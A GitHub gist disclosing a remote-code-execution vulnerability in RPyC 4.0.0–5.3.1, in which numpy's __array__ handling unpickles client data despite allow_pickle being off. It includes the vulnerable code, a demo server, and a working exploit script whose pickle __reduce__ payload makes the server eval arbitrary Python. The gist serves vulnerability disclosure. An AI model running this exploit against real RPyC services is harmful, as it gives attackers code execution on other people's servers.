Skip to content

Instantly share code, notes, and snippets.

@renbou
Last active March 6, 2024 07:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save renbou/957f70d27470982994f12a1d70153d09 to your computer and use it in GitHub Desktop.
Save renbou/957f70d27470982994f12a1d70153d09 to your computer and use it in GitHub Desktop.
RCE in RPyC bypassing the allow_pickle setting

RCE in RPyC bypassing the allow_pickle setting

As stated in RPyC documentation, new-style (since RPyC 3.00) RPyC servers aren't meant to allow clients complete control over the server:

And the previous case of such bug has been registered as the critical CVE-2019-16328 through which arbitrary code execution with default configuration settings is possible. This vulnerability achieves the same goal through the numpy array deserialization mechanism added to resolve Issue #236, "Trouble accessing remote numpy objects" (tomerfiliba-org/rpyc#236), which seems to have slipped under the radar and circumvents the available allow_pickle configuration parameter, which is False, by default (https://github.com/tomerfiliba-org/rpyc/blob/5.3.1/rpyc/core/protocol.py#L63). The vulnerability seems to have been added as a resolution to the aforementioned issue in commit 9f45f8269d4106905db61d82cd529cacdb178911 (https://github.com/tomerfiliba-org/rpyc/commit/9f45f8269d4106905db61d82cd529cacdb178911), and is present in the library from version 4.0.0 up to the most recent 5.3.1, and in the main repository branch.

For extra context, here is the vulnerable piece of code from the commit:

def _make_method(name, doc):
    ...
    elif name == "__array__":
        def __array__(self):
            # Note that protocol=-1 will only work between python
            # interpreters of the same version.
            return pickle.loads(syncreq(self, consts.HANDLE_PICKLE, -1))
        __array__.__doc__ = doc
        return __array__
    ...

This is called during any remote object instantiation during the packet decoding procedure (_unbox -> _netref_factory -> class_factory -> _make_method): https://github.com/tomerfiliba-org/rpyc/blob/5.3.1/rpyc/core/protocol.py#L338 if the remote object has an __array__ method. The __array__ method is used by numpy, as stated in the numpy.array documentation (https://numpy.org/doc/stable/reference/generated/numpy.array.html), to convert "array-like" objects to numpy arrays. Being a well-established API, it is used everywhere in numpy itself, and in all major ML libraries, such as the well-known scikit-learn library. Such usecase is native for RPyC, which can also be validated by the number of issues present even by a search term as basic as "numpy": https://github.com/tomerfiliba-org/rpyc/issues?q=numpy.

Proof of Concept

requirements.txt specify the version of the Python pip dependencies installed to test the vulnerability. To point out, version 5.3.1 is the latest available version of RPyC.

The presented server.py script contains an example server implementing some basic ML-like functionality exposed using RPyC. No custom configuration is used and no modifications are made to the getter/setter logic of the service, this is as basic as the example in the documentation itself. Here is its source code, additionally:

import numpy as np
import numpy.typing as npt
import rpyc
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split

# ExampleService performing some absolutely basic tasks related to distributed computing and ML.
class ExampleService(rpyc.Service):
    def exposed_example1(self, x: npt.ArrayLike, y: npt.ArrayLike) -> LinearRegression:
        return LinearRegression().fit(np.array(x), np.array(y))

    def exposed_example2(self, x: npt.ArrayLike, y: npt.ArrayLike) -> list[np.ndarray]:
        return train_test_split(x, y)

server = rpyc.ThreadedServer(ExampleService, hostname="127.0.0.1", port=1337)
print(
    f"RPyC PoC by renbou. Starting example RPyC server on {server.host}:{server.port}"
)
server.start()

The presented exploit.py script then achieves RCE on the server process via both of the available methods, and their underlying calls of the __array__ method. The client's configuration sets allow_pickle to True in order to enable pickle dumping on the client's side and greatly simplify the exploit without needing to write custom RPyC protocol packets and pickle serialization. After launching the server, running the exploit should cause the server to evaluate the example print statements specified, which can be changed to any valid python code. Here is its source code, additionally:

import rpyc

class Exploit:
    def __init__(self, code: str):
        self.code = code

    def _rpyc_getattr(self, name):
        print(name)

    # __array__ method present so that it is listed in dir(), and server sees that it is available
    def __array__(self):
        pass

    # __reduce__ is called locally during pickle.dumps,
    # and is simply an easy way to construct the pickle payload
    def __reduce__(self):
        return (__import__("builtins").eval, (self.code,))

print("RPyC PoC by renbou. Connecting to RPyC server and running eval inside it.")

# Create connection and enable allow_pickle on client, so that HANDLE_PICKLE dumps the object.
conn: rpyc.Connection = rpyc.connect(
    host="127.0.0.1", port=1337, config=dict(allow_pickle=True)
)

# example1 directly calls __array__ through np.array
try:
    conn.root.example1(
        Exploit("print('RPyC PoC by renbou: rce on server via direct np.array')"), []
    )
except:
    pass

# example2 calls train_test_split -> indexable -> _make_indexable -> np.array
try:
    conn.root.example1(
        Exploit("print('RPyC PoC by renbou: rce on server via train_test_split')"), []
    )
except:
    pass
import rpyc
class Exploit:
def __init__(self, code: str):
self.code = code
def _rpyc_getattr(self, name):
print(name)
# __array__ method present so that it is listed in dir(), and server sees that it is available
def __array__(self):
pass
# __reduce__ is called locally during pickle.dumps,
# and is simply an easy way to construct the pickle payload
def __reduce__(self):
return (__import__("builtins").eval, (self.code,))
print("RPyC PoC by renbou. Connecting to RPyC server and running eval inside it.")
# Create connection and enable allow_pickle on client, so that HANDLE_PICKLE dumps the object.
conn: rpyc.Connection = rpyc.connect(
host="127.0.0.1", port=1337, config=dict(allow_pickle=True)
)
# example1 directly calls __array__ through np.array
try:
conn.root.example1(
Exploit("print('RPyC PoC by renbou: rce on server via direct np.array')"), []
)
except:
pass
# example2 calls train_test_split -> indexable -> _make_indexable -> np.array
try:
conn.root.example1(
Exploit("print('RPyC PoC by renbou: rce on server via train_test_split')"), []
)
except:
pass
rpyc==5.3.1
numpy==1.26.4
scikit-learn==1.4.0
import numpy as np
import numpy.typing as npt
import rpyc
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split
# ExampleService performing some absolutely basic tasks related to distributed computing and ML.
class ExampleService(rpyc.Service):
def exposed_example1(self, x: npt.ArrayLike, y: npt.ArrayLike) -> LinearRegression:
return LinearRegression().fit(np.array(x), np.array(y))
def exposed_example2(self, x: npt.ArrayLike, y: npt.ArrayLike) -> list[np.ndarray]:
return train_test_split(x, y)
server = rpyc.ThreadedServer(ExampleService, hostname="127.0.0.1", port=1337)
print(
f"RPyC PoC by renbou. Starting example RPyC server on {server.host}:{server.port}"
)
server.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment